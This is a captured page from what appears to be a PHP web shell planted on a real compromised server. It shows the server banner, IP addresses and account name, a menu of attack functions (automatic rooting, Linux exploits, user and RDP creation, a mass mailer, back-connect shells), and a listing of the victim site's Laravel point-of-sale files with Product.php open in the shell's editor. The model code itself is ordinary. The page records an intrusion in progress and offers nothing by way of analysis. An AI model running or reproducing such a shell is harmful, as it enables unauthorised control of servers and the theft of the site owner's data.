Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.69
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechvethouse.com /
app /
[ HOME SHELL ]
Name
Size
Permission
Action
Charts
[ DIR ]
drwxr-xr-x
Console
[ DIR ]
drwxr-xr-x
Events
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Exports
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Listeners
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Notifications
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Restaurant
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Account.php
3.93
KB
-rw-r--r--
AccountTransaction.php
4.35
KB
-rw-r--r--
AccountType.php
486
B
-rw-r--r--
Barcode.php
221
B
-rw-r--r--
Brands.php
1.03
KB
-rw-r--r--
Business.php
2.79
KB
-rw-r--r--
BusinessLocation.php
5.26
KB
-rw-r--r--
CashDenomination.php
230
B
-rw-r--r--
CashRegister.php
584
B
-rw-r--r--
CashRegisterTransaction.php
237
B
-rw-r--r--
Category.php
2.94
KB
-rw-r--r--
Contact.php
12.14
KB
-rw-r--r--
Currency.php
104
B
-rw-r--r--
CustomerGroup.php
1.08
KB
-rw-r--r--
DashboardConfiguration.php
116
B
-rw-r--r--
Discount.php
528
B
-rw-r--r--
DocumentAndNote.php
781
B
-rw-r--r--
ExpenseCategory.php
815
B
-rw-r--r--
GroupSubTax.php
213
B
-rw-r--r--
InvoiceLayout.php
1.06
KB
-rw-r--r--
InvoiceScheme.php
835
B
-rw-r--r--
Media.php
6.44
KB
-rw-r--r--
NotificationTemplate.php
17.07
KB
-rw-r--r--
PaymentAccount.php
730
B
-rw-r--r--
Printer.php
1.57
KB
-rw-r--r--
Product.php
5.35
KB
-rw-r--r--
ProductRack.php
225
B
-rw-r--r--
ProductVariation.php
452
B
-rw-r--r--
PurchaseLine.php
1.85
KB
-rw-r--r--
ReferenceCount.php
228
B
-rw-r--r--
SellingPriceGroup.php
1.6
KB
-rw-r--r--
StockAdjustmentLine.php
474
B
-rw-r--r--
System.php
2.35
KB
-rw-r--r--
TaxRate.php
2.67
KB
-rw-r--r--
Transaction.php
13.22
KB
-rw-r--r--
TransactionPayment.php
3.18
KB
-rw-r--r--
TransactionSellLine.php
2.61
KB
-rw-r--r--
TransactionSellLinesPurchaseLi...
375
B
-rw-r--r--
TypesOfService.php
762
B
-rw-r--r--
Unit.php
1.3
KB
-rw-r--r--
User.php
8.56
KB
-rw-r--r--
UserContactAccess.php
113
B
-rw-r--r--
Variation.php
1.64
KB
-rw-r--r--
VariationGroupPrice.php
233
B
-rw-r--r--
VariationLocationDetails.php
238
B
-rw-r--r--
VariationTemplate.php
398
B
-rw-r--r--
VariationValueTemplate.php
418
B
-rw-r--r--
Warranty.php
1.33
KB
-rw-r--r--
error_log
274
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Product.php
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Product extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; protected $appends = ['image_url']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'sub_unit_ids' => 'array', ]; /** * Get the products image. * * @return string */ public function getImageUrlAttribute() { if (!empty($this->image)) { $image_url = asset('/uploads/img/' . rawurlencode($this->image)); } else { $image_url = asset('/img/default.png'); } return $image_url; } /** * Get the products image path. * * @return string */ public function getImagePathAttribute() { if (!empty($this->image)) { $image_path = public_path('uploads') . '/' . config('constants.product_img_path') . '/' . $this->image; } else { $image_path = null; } return $image_path; } public function product_variations() { return $this->hasMany(\App\ProductVariation::class); } /** * Get the brand associated with the product. */ public function brand() { return $this->belongsTo(\App\Brands::class); } /** * Get the unit associated with the product. */ public function unit() { return $this->belongsTo(\App\Unit::class); } /** * Get the unit associated with the product. */ public function second_unit() { return $this->belongsTo(\App\Unit::class, 'secondary_unit_id'); } /** * Get category associated with the product. */ public function category() { return $this->belongsTo(\App\Category::class); } /** * Get sub-category associated with the product. */ public function sub_category() { return $this->belongsTo(\App\Category::class, 'sub_category_id', 'id'); } /** * Get the brand associated with the product. */ public function product_tax() { return $this->belongsTo(\App\TaxRate::class, 'tax', 'id'); } /** * Get the variations associated with the product. */ public function variations() { return $this->hasMany(\App\Variation::class); } /** * If product type is modifier get products associated with it. */ public function modifier_products() { return $this->belongsToMany(\App\Product::class, 'res_product_modifier_sets', 'modifier_set_id', 'product_id'); } /** * If product type is modifier get products associated with it. */ public function modifier_sets() { return $this->belongsToMany(\App\Product::class, 'res_product_modifier_sets', 'product_id', 'modifier_set_id'); } /** * Get the purchases associated with the product. */ public function purchase_lines() { return $this->hasMany(\App\PurchaseLine::class); } /** * Scope a query to only include active products. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeActive($query) { return $query->where('products.is_inactive', 0); } /** * Scope a query to only include inactive products. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeInactive($query) { return $query->where('products.is_inactive', 1); } /** * Scope a query to only include products for sales. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeProductForSales($query) { return $query->where('not_for_selling', 0); } /** * Scope a query to only include products not for sales. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeProductNotForSales($query) { return $query->where('not_for_selling', 1); } public function product_locations() { return $this->belongsToMany(\App\BusinessLocation::class, 'product_locations', 'product_id', 'location_id'); } /** * Scope a query to only include products available for a location. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeForLocation($query, $location_id) { return $query->where(function ($q) use ($location_id) { $q->whereHas('product_locations', function ($query) use ($location_id) { $query->where('product_locations.location_id', $location_id); }); }); } /** * Get warranty associated with the product. */ public function warranty() { return $this->belongsTo(\App\Warranty::class); } public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function rack_details() { return $this->hasMany(\App\ProductRack::class); } }
Close